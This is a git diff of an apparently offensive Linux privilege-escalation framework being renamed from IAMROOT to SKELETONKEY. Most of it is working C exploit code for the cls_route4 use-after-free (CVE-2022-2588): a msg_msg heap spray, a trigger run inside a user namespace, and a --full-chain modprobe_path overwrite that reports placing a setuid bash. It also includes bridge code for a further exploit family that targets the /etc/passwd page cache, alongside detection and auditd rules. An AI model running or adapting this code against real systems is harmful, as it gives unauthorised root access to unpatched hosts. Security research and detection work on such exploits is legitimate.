* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,25 @@
|
||||
# NOTICE — cls_route4 (CVE-2022-2588)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-2588** — `net/sched` cls_route4 handle-zero dangling-filter
|
||||
UAF → kernel R/W via msg_msg cross-cache refill.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
|
||||
|
||||
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
||||
(William Liu's analysis built on kylebot's trigger).
|
||||
|
||||
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
|
||||
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
|
||||
re-fires with a faked tcf_proto.ops pointer aimed at the
|
||||
modprobe_path overwrite via the shared finisher.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
+104
-89
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||
*
|
||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||
* is removed, the corresponding hashtable bucket may keep a stale
|
||||
@@ -38,11 +38,8 @@
|
||||
* - iproute2 `tc` binary present (used for filter add/del)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -50,6 +47,14 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -93,65 +98,56 @@ static bool cls_route4_module_available(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -184,13 +180,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
* specific to be portable. If a dmesg KASAN message or oops is
|
||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
||||
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||
*/
|
||||
|
||||
#define SPRAY_MSG_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define DUMMY_IF "iamroot0"
|
||||
#define DUMMY_IF "skeletonkey0"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
@@ -199,7 +195,7 @@ struct ipc_payload {
|
||||
|
||||
static int run_cmd(const char *cmd)
|
||||
{
|
||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
||||
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||
char shell[1024];
|
||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||
return system(shell);
|
||||
@@ -305,7 +301,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||
memset(p.buf, 0x41, sizeof p.buf);
|
||||
/* First 8 bytes: a recognizable cookie. */
|
||||
memcpy(p.buf, "IAMROOT4", 8);
|
||||
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
@@ -349,7 +345,7 @@ static void trigger_classify(void)
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||
|
||||
const char msg[] = "iamroot-cls_route4-classify";
|
||||
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||
/* A handful of packets, in case the first lookup didn't traverse
|
||||
* the freed bucket. */
|
||||
for (int i = 0; i < 8; i++) {
|
||||
@@ -397,7 +393,7 @@ static long slab_active_kmalloc_1k(void)
|
||||
*
|
||||
* The implementation below takes the narrow-but-real path that the
|
||||
* brief explicitly permits and that xtcompat established as the
|
||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* whose payload encodes `kaddr` at every plausible offset for the
|
||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||
* shared finisher's sentinel file decide if a write actually landed.
|
||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
@@ -427,7 +421,7 @@ struct cls_route4_arb_ctx {
|
||||
* is idempotent inside our private netns. */
|
||||
bool dangling_ready;
|
||||
|
||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
||||
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
@@ -487,7 +481,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
||||
return sent;
|
||||
}
|
||||
|
||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||
* shared finisher's sentinel-file check decide if the write actually
|
||||
@@ -544,47 +538,41 @@ static int cls4_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!have_tc() || !have_ip()) {
|
||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||
"cannot exploit\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early — no point doing
|
||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("cls_route4");
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
@@ -607,7 +595,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t child = fork();
|
||||
if (child < 0) {
|
||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
@@ -652,7 +640,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
|
||||
/* Best-effort empirical witness write — picked up by --cleanup
|
||||
* and by post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
||||
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
@@ -674,18 +662,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* kernel a second chance at the refilled slot — the
|
||||
* dangling filter is still in place from above. */
|
||||
arb_ctx.dangling_ready = true;
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||
cls4_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
||||
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
drain_msg_msg(arb_ctx.queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
|
||||
@@ -709,7 +697,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
@@ -724,14 +712,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
* claim root — we haven't escalated. */
|
||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -740,19 +728,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 22:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||
"may be absent or filter type unsupported\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 23:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
case 30:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
@@ -760,34 +748,33 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||
"(setuid bash placed; sentinel matched)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||
"either the kernel is patched, the spray didn't land,\n"
|
||||
" or the fake-ops deref didn't hit the route the\n"
|
||||
" finisher's sentinel polls for. See "
|
||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
default:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||
@@ -797,21 +784,49 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
* the exploit with extended privileges (e.g. as root) and the
|
||||
* interface lingered in init_net. */
|
||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
|
||||
* Linux-only kernel surface; the route4 dead-UAF is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cls_route4: Linux-only module "
|
||||
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
const struct iamroot_module cls_route4_module = {
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||
@@ -827,7 +842,7 @@ const struct iamroot_module cls_route4_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cls_route4(void)
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
{
|
||||
iamroot_register(&cls_route4_module);
|
||||
skeletonkey_register(&cls_route4_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
@@ -1,28 +0,0 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module registry hooks
|
||||
*
|
||||
* The family currently contains five iamroot_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in iamroot_modules.c, registered into the global registry
|
||||
* by iamroot_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module copy_fail_module;
|
||||
extern const struct iamroot_module copy_fail_gcm_module;
|
||||
extern const struct iamroot_module dirty_frag_esp_module;
|
||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
+88
-50
@@ -1,22 +1,23 @@
|
||||
/*
|
||||
* copy_fail_family — IAMROOT module bridge layer
|
||||
* copy_fail_family — SKELETONKEY module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
||||
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
||||
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
@@ -28,15 +29,44 @@
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||
* This lets typed_confirm() skip its (now redundant) interactive
|
||||
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||
dirtyfail_assume_yes = ctx->authorized;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||
* checks for it too, but doing it here gives the dispatcher one
|
||||
* testable point per module and short-circuits the heavier
|
||||
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||
* gate — its inner detect still confirms the primitive empirically. */
|
||||
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||
"unreachable here%s\n", modname,
|
||||
ctx->host->apparmor_restrict_userns
|
||||
? "; AppArmor restriction is on" : "");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
@@ -54,13 +84,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (iamroot_result_t)mitigate_apply();
|
||||
return (skeletonkey_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
@@ -69,27 +99,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (iamroot_result_t)mitigate_revert();
|
||||
return (skeletonkey_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
||||
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
